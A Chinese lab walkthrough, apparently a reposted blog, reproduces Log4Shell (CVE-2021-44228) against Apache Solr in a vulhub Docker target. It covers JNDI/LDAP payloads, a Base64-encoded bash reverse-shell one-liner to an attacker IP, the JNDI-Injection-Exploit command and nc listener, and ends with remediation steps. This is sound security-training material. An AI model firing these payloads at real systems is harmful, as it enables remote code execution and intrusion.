宜昌市网站建设_网站建设公司_代码压缩_seo优化
2026/1/17 10:39:31 网站建设 项目流程

一、 漏洞介绍

1. 简介

Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

2. 漏洞成因

当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中假如日志中含有该语句${jndi:ldap:192.168.191.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.191.1:1099/exp解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入;攻击者就可以通过shell实现任意的命令执行,造成严重危害。

3.受影响版本

Apache Log4j 2.x <= 2.14.1。

二、 漏洞复现

1. 环境部署

使用Ubuntu24系统,vulhub搭建漏洞环境。

具体搭建步骤详见:

Ubuntu24 Docker-vulhub靶场安装-CSDN博客https://blog.csdn.net/weixin_46098351/article/details/155501153?spm=1001.2014.3001.5501

2. 复现步骤

1、进入vulhub目录:

cd docker
cd vulhub

2、进入log4j目录,CVE-2021-44228。

cd log4j
cd CVE-2021-44228

3、启动靶场。

docker compose build
docker compose up -d

4、查看运行的端口,可以看到,运行在8983端口。

docker ps

5、查看漏洞说明。

cat README.zh-cn.md

6、靶场启动成功后,使用浏览器访问Apache Solr的后台界面(系统IP + 端口号8983)。

7、漏洞证明:

(1)用Yakit抓包,使用自带的DNSLog功能,生成一个独立的临时域名vzinpjjsus.lfcx.eu.org(也可以通过其它DNSLog平台,如http://dnslog.cn/等获取域名)。

(2)构造payload:${jndi:ldap://vzinpjjsus.lfcx.eu.org},点击发包即可,可以看到得到了DNS解析记录,证明Log4j漏洞存在。

(3)构造payload:action=${jndi:ldap://vzinpjjsus.lfcx.eu.org},点击发包,可以得到Java版本为1.8.0_102。

8、反弹shell:

使用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用:

(1)下载工具Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit,将其放入Kali中,我图方便,直接放桌面了。

(2)使用反弹shell指令,并对指令进行Base64编码。(https://tool.chinaz.com/tools/base64.aspx)

反弹shell指令结构:

bash -i >& /dev/tcp/Kali攻击机IP/任意未被占用端口 0>&1

bash -i >& /dev/tcp/192.168.191.128/4444 0>&1 #Base64编码结果:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MS4xMjgvNDQ0NCAwPiYxCgoK

(3)进入目录调用工具,将编码后的反弹shell指令通过-C参数输入JNDI工具,通过-A参数指定kali攻击机的ip地址。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all\ .jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MS4xMjgvNDQ0NCAwPiYxCgoK}|{base64,-d}|{bash,-i}" -A 192.168.191.128

(4)在Kali另一个窗口监听4444端口。

nc -lnvp 4444

(5)将Yakit数据包中的payload替换为JNDI工具中生成的参数:

ldap://192.168.191.128:1389/tslvj1

完整访问链接为:

GET /solr/admin/cores?action=${jndi:ldap://192.168.191.128:1389/tslvj1} HTTP/1.1

生成的其它payload我还没试过,可自行尝试。

(6)点击发包,Kali的监听端口成功接收到反弹shell。

若直接发包后反弹不成功,可以将payload参数 ${jndi:ldap://192.168.191.128:1389/tslvj1}进行URL编码后尝试。

9、移除环境:

Vulhub中所有环境均为漏洞靶场,在测试结束后,请及时关闭并移除环境,避免被他人恶意利用。

虽然靶场全部运行在Docker中,但大多数恶意软件并不会因为运行在容器中就失去效果!docker-compose会默认根据当前目录下的配置文件启动容器,在关闭及移除环境的时候,也需要在对应目录下。我们执行docker-compose up -d后,不要离开当前目录即可,漏洞测试结束后,执行如下命令移除环境:

docker compose down

10、修复建议:

(1)添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;

(2)在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

(3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

(4)部署使用第三方防火墙产品进行安全防护。

(5)升级至最新版本。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询